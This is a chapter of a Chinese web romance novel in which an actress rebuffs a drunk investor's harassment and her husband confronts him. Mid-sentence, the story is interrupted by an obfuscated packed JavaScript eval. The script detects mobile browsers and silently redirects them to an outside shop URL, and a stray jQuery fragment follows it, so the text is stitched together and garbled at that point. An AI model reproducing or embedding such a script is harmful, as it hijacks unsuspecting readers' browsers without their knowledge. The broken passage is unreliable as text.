“杜小姐,晚上好。”是上午那个心怀不轨的锦云集团的周雷云。
他本人就像他的名字一样,很雷,整个人从头到尾都雷到了许颂微。
还非得在人啃排骨的时候过来搭话,不知道吃这种骨头类的东西的时候是最狼狈的时候、最不想被人注意的时候吗?
别人不知道,反正许颂微不喜欢。
但这人丝毫不懂的自己现在是多么惹人烦,只一个劲儿的展示那毫无资本的身材、不是很有名的手工西装和土到掉渣的纯金满钻手表。
好土的人。
这么土就不要往我这么时髦的人身边凑了啊喂: )
坐在她身边的男三号,也就是暴君饰演者林述,以为她没听见,小声提醒:“那个,周总好像在和你说话。”
这可是剧组最大的投资人,咱们小演员得罪不起的T^T
许颂微领情,放下嘴里的排骨,转身和周雷云打招呼,“周总晚上好。”
喝酒之后,男人的脸上出了油,一整个油光满面,看得许颂微更想逃跑了。
好在这时候手机响了一声,她余光一瞥,是江崇文的消息。
[听说你们在奥莱特酒店吃饭,我正好也在这边,要不要偷偷见一面吗?]
好呀好呀!
许颂微立即忘掉面前的这个什么总,欢天喜地要去找自己的亲亲老公了,再见了您嘞:-D
“我身体不太舒服,先回酒店了,待会儿有人问,麻烦帮我说一下。”她拜托和自己对手戏最多的男三林述。
因为怕吵到其他人,许颂微凑得很近,几乎能感觉到说话的气息铺在脸上。
林述只觉得自己也像剧本中的暴君一样,被摄走了魂魄。
“嗯……哦哦!好!”小林同志道行还浅,已经被迷得神魂颠倒、语无伦次。
“多谢啦。”罪魁祸首完全没有自觉,趁着大家都没注意,悄悄溜出包间。
现在的许颂微满心满意都是即将见到男朋友(已婚版)的喜悦,压根没注意到一个秃顶啤酒肚也跟着离开包间,就跟在她身后两三步的距离。
她捧着手机给对面发消息:[我出来啦,你在哪儿呢?我去找你呀~]
“杜小姐,你别急着走呀。”周雷云喝了酒,借着酒意实行一个性骚扰的行为。
他抓住许颂微的肩,假意自己喝醉了站不稳,还暗暗使劲把人往自己怀里拉。
“杜小姐,我知道你很想红,我可以帮你,”周雷云像个巨大的□□,“我有钱,很多钱,还有资源,只要你跟了我,我还能让你当女主!要考虑一下吗?”
许颂微虽然瘦,看起来只有周雷云的三分之一,但也不是吃素的,她提起膝盖就往上顶,丝毫不敢收力。
刚刚还在大放厥词的人惨叫一声,捂着下身,夹着腿,像一座小山包缓缓倒下,那张脸红成猪肝色,那点酒意这下彻底清醒了。
“我……我对美人总是格外宽容,但也是有限度的,劝你别敬酒不吃吃罚酒。”下半身都不保了还在放狠话。
许颂微觉得好笑,完全没有和蠢人浪费时间的打算 ,当即嫌弃的拍拍手上不存在的“灰”,准备离开。
“等等!你敢走,我是投资方!你敢走我就把你换掉!”周雷云喊得大声,一副势必要把人留下的气势。
但光有气势是不够的,还得有能力,正好他刚才许诺的,许颂微一个也不在乎,根本不怕他的威胁。
“你不知道我爸是谁?”
这句话成功让许颂微停住脚步,那倒不是害怕,而是震惊于这年头了还有人放狠话把爸爸搬出来。
不过当时没靠山似的。
许颂微环顾一周,没见到人,也抛开脸面冲他喊话——
“你知不知道我老公是谁!”
周雷云也是笑了,是那种又惊、又气、还带着被蒙骗背叛的那种诡异的笑。
“你结婚了?”
这语气好像瞒着他结婚是许颂微背叛了。
这语气听得许颂微不太舒服,她两条细眉揪在一起,“这种事没必要还特意告诉你吧。”
“结婚了你也能跟着我,我还是能捧你……”
周雷云一直在说,越说越没底线,甚至直言要越过法律的底线。
许颂微一个字也不想听了,她就不该跟这种人胡搅蛮缠。
“怎么回事?”
熟悉的声音靠近,许颂微偏头,才发现江崇文不知道什么时候找过来了。
周雷云见到来人,倒是清醒了,知道什么话该说,什么话不该说了。
他目光里的浑浊褪去,谄媚挤出来,“原来是江总,我说什么人这么气度不凡。”
说着走上前准备和人握手,但江崇文没动,眼睛都没往那手上瞟,就任由对方一直那么留在空气中。
“刚才你们在做什么?”
一男一女,一个丑如癞蛤蟆,一个明媚动人像天上明月,同时出现在无人的走廊上,明月还一脸不耐,怎么看怎么可疑。
周雷云尴尬收手,他解释,“江总您别误会,这小情儿和我闹别扭,正哄着呢。”
这么解释非但没能解除误会,反而让本就沉着气的江崇文一下子有了发泄口。
他把许颂微拉到身后护着,眼里寒霜几乎化为实质,要把面前这个肥头大耳的人扎个千疮百孔。
“哦?我怎么不知道,我的妻子什么时候成为你的小情儿了?”
这句话如雷贯耳,瞬间把周雷云轰了个透彻。
杜宜宁结婚了……
江崇文说他的妻子是杜宜宁……
刚才那句“你知不知道我老公是谁”突然清晰的出现在他黄豆大的脑子中。
哈哈……
谁他爹不知道江城的江,是江氏的江!
“原来杜小姐是您的夫人,是我唐突,实在对不住,”周雷云朝江崇文身后的许颂微鞠躬,“杜小姐,我和您道歉,您想要什么和我说,只要我有,我能拿出来,全都赔给您,希望您能大人不记小人过……”
明明刚才面对许颂微时还一副高高在上的模样,现在见了江崇文,立刻变得点头哈腰。
这种欺软怕硬的人骨头里都带着拜高踩低的劣性基因,许颂微向来不喜欢和这种人打交道。
她扯扯江崇文的西装下摆,等人回头看她时,才说:“咱们先走吧,这条走廊怪闷的,空气也不太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571584|202808||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好闻。”
江崇文眼里的晦暗明明灭灭,似乎压着某种可怕的情绪,可最终还是由着许颂微牵着自己的手离开。
他们二人刚走,一个女人就带着两个黑衣保镖赶往刚才的走廊。
干练的职业装,不是往常跟在江崇文身边的沈秘书又是谁?
-
“他是我们最大的投资商,我们这么做会不会不太好?”直到走远了,许颂微才后知后觉他们的行为好像有点过激了。
江崇文倒是没放在心上,他眼睛盯着许颂微与自己十指相扣的连接点,整个人有点晕晕乎乎的。
“你有听我在说吗?”许颂微举起另一只手在男人面前摆了摆,“江先生……”
大胆!
确认关系的第二天就敢不听我说话了: )
江崇文还没回神,也用另一只空闲的手握住眼前这只,扣在手心里摩挲两下,放在唇边轻吻。
炙热的呼吸打在指尖上,许颂微蜷曲手指,下一刻比呼吸更炽热的是男人的薄唇,一下下啄吻着。
虽然四周没人,好歹也是在公共场所,许颂微十分脸热,她忍不住要收回手,可男人哪里肯放这片柔荑离开,但多少清醒了些。
“他算不上什么麻烦,不用管他,明天会照常开机的。”江崇文看起来完全没把人放在心上。
他这么说就是有对策和办法了,许颂微相信他,把心放肚子里。
不知道什么原因,许颂微总觉得,江崇文是她在这个世界上最值得相信的人,只有待在他身边,才觉得心里长久空缺的一部分被填满了。
自从发觉自己失去一段记忆之后,许颂微心里总有种失落感,破产后到发现卡里多出1千万之间到底发生了什么?
或者说做什么样的事情,能让她一夜间就得到这么多钱?
但现在至少给许颂微提供了一些思路,自己难道还曾去过别的世界做任务?
不然还有谁能把她脑海中的记忆拿走,这种事应该只有系统能做到吧。
无论怎样,0821号答应会帮她找到丢失的记忆,现在把眼前的事情做好才是最重要的。
许颂微挽着江崇文的手臂紧了紧。
她有预感,那些问题在往后的发展中,总会解开谜底。
-
时间太晚,为了不影响许颂微第二天正常拍戏,江崇文没带人往远了去,但酒店附近也没什么设施可供玩乐约会,两人干脆来了场citywalk。
路灯下,影子随着忽长忽短,车道上偶尔迎面而来一辆打着灯的车,照在他们脸上,两张不一样的面孔却有着同样的神情。
人类总是用一个词概括一种感觉,就是那种温暖的、开心的,像整个人被温柔托举到半空中,感受到阳光、微风和细雨。
“宿主,你现在幸福嘛?”0821号问。
许颂微已经回到酒店,她站在洗手间里,闻言感到疑惑,不明白总是沉默的系统为什么会在这个时候问她普偏向主观性的问题,但她看到镜子中自己还没放下来的嘴角,眼角藏不住的欢欣。
她说:“嗯,很幸福。”
所以他们相同的表情,是因为感受到了幸福。